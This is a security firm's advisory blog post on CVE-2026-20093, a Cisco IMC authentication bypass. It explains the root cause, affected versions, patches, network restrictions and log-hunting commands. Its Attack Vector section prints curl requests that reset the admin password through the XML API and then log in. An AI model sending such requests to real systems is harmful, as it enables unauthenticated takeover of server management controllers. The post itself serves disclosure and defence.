CVE-2026-20093: Critical Cisco IMC Auth Bypass on UCS, ENCS & Catalyst

This week in our InSEKurity of the Week series: a critical, unauthenticated authentication bypass in the Cisco Integrated Management Controller (IMC) that lets a remote attacker reset the password of any local user — including admin — with a single crafted HTTP request, and then log in with full administrative control over the out-of-band management of Cisco UCS, ENCS, Catalyst 8300 uCPE, and a long list of Cisco appliances built on UCS C-Series hardware.

🚨 Summary

CVE ID: CVE-2026-20093
EUVD ID: EUVD-2026-17947
CVSS 3.1 Score: 9.8 (Critical)
CWE: CWE-20 (Improper Input Validation)
Affected Software: Cisco Integrated Management Controller (IMC) on UCS C-Series (M5/M6 standalone), 5000 Series ENCS, Catalyst 8300 Series Edge uCPE, UCS E-Series M3, and numerous UCS-based appliances (APIC, Secure Firewall Management Center, Malware Analytics, Cyber Vision Center)
Attack Vector: Network (unauthenticated, remote)
Authentication Required: None
Impact: Full administrative takeover of the out-of-band management controller — BIOS/firmware, virtual media, KVM, power, and OS-level control
Patch Status: ✅ Available (Cisco, April 2, 2026)
Published: April 2, 2026
Exploitation Status: No public PoC or in-the-wild exploitation confirmed at time of writing
CISA KEV: Not listed (as of publication)

🖥️ What is Cisco IMC?

The Cisco Integrated Management Controller (IMC) is the baseboard management controller (BMC) shipped with Cisco UCS C-Series rack servers and a wide range of Cisco appliances that are built on UCS hardware. It is Cisco’s equivalent of HPE iLO or Dell iDRAC: an independent service processor with its own CPU, network stack, web UI, XML/Redfish API, IPMI interface, and virtual KVM — reachable even when the host OS is down.

IMC lives below the operating system. Whoever controls IMC controls the server: they can mount arbitrary virtual media, reboot into an attacker-supplied image, flash firmware, read the host console, and reset the machine at will. This is exactly the kind of interface that should never be exposed to untrusted networks — and exactly the kind of interface that, in real-world deployments, frequently is.

Typical Use Cases

Out-of-band management of Cisco UCS C-Series rack servers in enterprise data centers
Lights-out administration of Cisco appliances shipped on UCS hardware (APIC controllers, Secure Firewall Management Center, Malware Analytics, Cyber Vision Center)
Branch virtualization on 5000 Series ENCS and Catalyst 8300 Edge uCPE platforms
Firmware and BIOS lifecycle management (updates, inventory, hardware health)
Remote KVM, virtual media, and power control during incident response and maintenance windows

Because IMC is the last-resort management path, it is frequently reachable from jump hosts, management VLANs, and in poorly segmented environments, occasionally from the corporate LAN itself.

🔍 Technical Analysis

Vulnerability Description

CVE-2026-20093 is an authentication bypass in the password-change handling of the IMC web interface and XML API. The root cause is improper input validation (CWE-20) in the way IMC processes requests that target the aaaUser object class via the configConfMo XML API method.

Normally, configConfMo on aaaUser — the operation used to modify a local user account, including its password — requires an authenticated session with admin privileges. Due to the flaw, IMC evaluates the password modification before verifying the caller’s session context. A single crafted HTTP POST is enough to change the password of any local account, including admin, without ever authenticating. The attacker then simply logs in with the new password and inherits full administrative control.

Root Cause Analysis

Authorization check ordering: the IMC XML API dispatches the configConfMo → aaaUser password mutation before the session context / authorization layer has validated the caller.
Improper input validation (CWE-20): the handler accepts and acts on the attacker-controlled pwd attribute on aaaUser without requiring a privileged, authenticated session.
Unified code path for web UI and XML API: both the web management interface and the XML API expose the same vulnerable handler, so any reachable management endpoint is exploitable.
No mitigating workaround: Cisco PSIRT explicitly states there is no configuration-based workaround — the flaw is in the request dispatch logic itself.

Attack Vector

A typical exploitation flow looks like this:

# Step 1: Discover a reachable IMC web / XML API endpoint
# IMC usually listens on 443 (web UI + XML API) on the management NIC
curl -sk -o /dev/null -w "%{http_code}\n" https://imc.target.example/
# A 200 / redirect to /login.html confirms an exposed IMC

# Step 2: Send a crafted XML API request that targets the aaaUser
# object class via configConfMo, resetting the admin password
# WITHOUT a valid session cookie or auth token.
curl -sk -X POST https://imc.target.example/nuova \
  -H "Content-Type: application/xml" \
  --data '<configConfMo dn="sys/user-ext/user-admin">
            <inConfig>
              <aaaUser id="1" name="admin" pwd="Pwn3d!SEKurity2026"/>
            </inConfig>
          </configConfMo>'

# Step 3: The IMC processes the password change BEFORE verifying
# the caller's session. The admin password is now attacker-controlled.

# Step 4: Log in as admin with the new password via the web UI,
# XML API, or SSH (if enabled) and take full administrative control.
curl -sk -X POST https://imc.target.example/nuova \
  -H "Content-Type: application/xml" \
  --data '<aaaLogin inName="admin" inPassword="Pwn3d!SEKurity2026"/>'

The payload above is illustrative. The vulnerability lies in the server-side dispatch of configConfMo on aaaUser; any functionally equivalent request reaches the same vulnerable code path.

Exploitation in the Wild

At the time of Cisco’s advisory (April 2, 2026), Cisco PSIRT reported no known public proof-of-concept code and no confirmed in-the-wild exploitation. Given the trivial nature of the bug, the pre-auth reach, and the value of IMC as a pivot point, the window between advisory and weaponized PoCs for similar Cisco management-plane flaws has historically been very short — organizations should assume exploitation is imminent rather than hypothetical.

Post-Exploitation Impact

Full out-of-band takeover: mount arbitrary virtual media, boot attacker-controlled images, read host console output.
Host OS compromise: reboot into a live image, reset root passwords, exfiltrate disks, install persistent implants below the OS.
Firmware-level persistence: flash BIOS/IMC firmware to survive OS reinstalls.
Appliance compromise: for Cisco appliances shipped on UCS (APIC, Secure Firewall Management Center, Malware Analytics, Cyber Vision Center), taking IMC is equivalent to taking the appliance.
Lateral movement: IMC is typically on a trusted management VLAN — ideal pivot into vCenter, domain controllers, and hypervisors.
Denial of service: remote power-off / cold-reset of production hardware.

⚠️ Impact Assessment

Immediate Impact

Pre-auth, network-reachable, CVSS 9.8: no credentials, no user interaction.
Below-the-OS control: IMC compromise bypasses every OS-level control (EDR, host firewall, disk encryption unlock, etc.).
No workaround: patching is the only remediation.
Broad product footprint: affects not only rack servers but every Cisco appliance family built on UCS C-Series.

Affected Versions

Platform	Vulnerable	Fixed In
UCS C-Series M5 / M6 (standalone)	IMC < 4.3(2.260007), < 4.3(6.260017), < 6.0(1.250174)	4.3(2.260007), 4.3(6.260017), 6.0(1.250174)
5000 Series ENCS (NFVIS)	NFVIS < 4.15.5	4.15.5
Catalyst 8300 Series Edge uCPE	NFVIS < 4.18.3	4.18.3
UCS E-Series M3	< 3.2.17	3.2.17
UCS C-Series M7 / M8 (standalone)	Not affected	—
UCS C-Series in UCSM / Intersight Managed Mode	Not affected	—
UCS B-Series, S-Series, X-Series, Unified Edge	Not affected	—

Affected Environments

Enterprise data centers running UCS C-Series in standalone mode.
Branch sites using 5000 Series ENCS or Catalyst 8300 uCPE for network function virtualization.
Cisco appliance customers: APIC controllers, Secure Firewall Management Center, Malware Analytics, Cyber Vision Center — all rebadged UCS C-Series hardware.
MSPs and colocation operators who expose IMC to shared management networks.
Any environment where IMC has ever been reachable from a non-trusted VLAN, jump host, or VPN without strict ACLs.

Attacker Profiles

Initial-access brokers: a pre-auth admin takeover on Cisco management-plane hardware is exactly the kind of access sold upstream to ransomware crews.
Ransomware operators: IMC gives them below-the-OS persistence and the ability to disable endpoints en masse.
APT groups: firmware-level persistence on strategic targets (financial services, critical infrastructure, government).
Insiders: trivial to exploit from a management VLAN with minimal forensic footprint.

🛡️ Mitigation Strategies

Immediate Actions (Priority 1) ⚡

Identify exposed IMC instances:

# From an allowed management host, check which IMC UIs are reachable
nmap -p 443 --script http-title -oG - 10.0.0.0/24 \
  | grep -iE "integrated management|cisco imc|ucs"

Check the running IMC / NFVIS version:

# Via SSH to IMC CLI
scope chassis
show firmware detail

# Or via the IMC XML API
curl -sk -X POST https://imc.target.example/nuova \
  -H "Content-Type: application/xml" \
  --data '<aaaLogin inName="admin" inPassword="REDACTED"/>'
# then issue a configResolveClass on firmwareRunning

Patch to a fixed release (per Cisco advisory cisco-sa-imc-authbypass-<id>):
- UCS C-Series M5/M6 standalone → 4.3(2.260007), 4.3(6.260017), or 6.0(1.250174)
- 5000 Series ENCS NFVIS → 4.15.5
- Catalyst 8300 Edge uCPE NFVIS → 4.18.3
- UCS E-Series M3 → 3.2.17
Restrict network reachability until patched:
- Enforce strict ACLs so IMC is reachable only from a dedicated OOB management network.
- Block TCP/443, 80, 22, and IPMI (623/udp) from all non-management VLANs.
- Require VPN + MFA + jump host for any human access.
Rotate IMC credentials after patching — assume any exposed instance may have had its admin password silently reset.

Detection Measures 🔍

No dedicated IoCs have been published. Hunt for the symptoms of the bug being used:

# IMC access / audit logs — search for unauthenticated or anomalous
# configConfMo requests targeting aaaUser (password mutations).
grep -E "configConfMo.*aaaUser" /var/log/imc/*.log

# Look for XML API POSTs to /nuova from unexpected source IPs
grep -E "POST /nuova" /var/log/imc/access.log \
  | awk '{print $1}' | sort -u

# Unexpected successful admin logins shortly after a configConfMo
grep -E "aaaLogin.*admin" /var/log/imc/audit.log

# Firmware / BIOS changes, virtual-media mounts, or power events
# initiated from unfamiliar source IPs
grep -E "vmedia|bios|power" /var/log/imc/audit.log

Network-side hunting:

Alert on any POST to /nuova from outside the OOB management network.
Alert on any new source IP authenticating to IMC.
Alert on virtual media mounts or BIOS/firmware updates outside change windows.

Long-term Security Improvements

Isolate the management plane: a physically or logically separate OOB network for all BMC/IMC/iLO/iDRAC interfaces, with no routing to user or production VLANs.
Management-plane MFA and jump hosts: no direct operator access to IMC from workstations.
Inventory BMCs explicitly: most organizations don’t know how many IMCs they expose — build and maintain an authoritative list.
Firmware lifecycle process: monitor Cisco PSIRT advisories and treat IMC firmware as tier-1 patching, not “we’ll get to it next quarter.”
Audit appliance OOB paths: remember that APIC, Secure Firewall Management Center, Malware Analytics, and Cyber Vision Center all ship with IMC underneath — patch them too.

🎯 Why is this Critical?

Pre-auth, CVSS 9.8: no credentials, no user interaction, single HTTP request.
Below-the-OS blast radius: IMC compromise defeats every in-OS control.
Huge installed base: UCS C-Series and the appliances built on it are standard in enterprise data centers.
No workaround: only a firmware upgrade fixes it.
Hidden exposure surface: many Cisco appliances that customers don’t think of as “UCS” are in fact running IMC.
Attractive target: management-plane access is exactly what initial-access brokers and ransomware crews pay for.
Short advisory-to-exploit window: past Cisco management-plane flaws have been weaponized within days.

🚀 Timeline and Disclosure

Internal discovery: reported to Cisco PSIRT prior to April 2, 2026 (exact date undisclosed)
Patch release: April 2, 2026
Public advisory: April 2, 2026 (Cisco Security Advisory)
CVE assignment: CVE-2026-20093
EUVD assignment: EUVD-2026-17947
Public PoC: none known at the time of writing
CISA KEV: not listed (as of publication)

🔗 Resources and References

CVE: CVE-2026-20093
NVD: NVD — CVE-2026-20093
Tenable: CVE-2026-20093 — Tenable
CWE: CWE-20: Improper Input Validation
CISA KEV Catalog: Known Exploited Vulnerabilities
Cisco PSIRT: Cisco Security Vulnerability Policy

💼 SEKurity Supports You

Management-plane flaws like CVE-2026-20093 are a reminder that your attack surface does not end at the hypervisor — it extends all the way down to the BMC, and from there to BIOS and firmware. Every UCS, ENCS, Catalyst 8300 uCPE, APIC, Secure Firewall Management Center, Malware Analytics, and Cyber Vision Center box in your estate is a potential entry point for exactly this kind of below-the-OS takeover. We help organizations find those exposures before an attacker does.

Our Services

Penetration Testing: Web applications, mobile apps (Android & iOS), SAP systems, Active Directory
Large-Scale Attacks: Perimeter testing, IT infrastructure testing, Red Team engagements
Security Awareness: Phishing campaigns, hacking demonstrations

Act now — before attackers do.

Contact:

🌐 Website: www.sekurity.de

📧 Inquiries: www.sekurity.de/kontakt

📱 LinkedIn: SEKurity GmbH

Your SEKurity Team — Your Trusted Adversaries

The security of your out-of-band management plane is our drive.

InSEKurity of the Week (CW15/2026): Cisco IMC Authentication Bypass (CVE-2026-20093)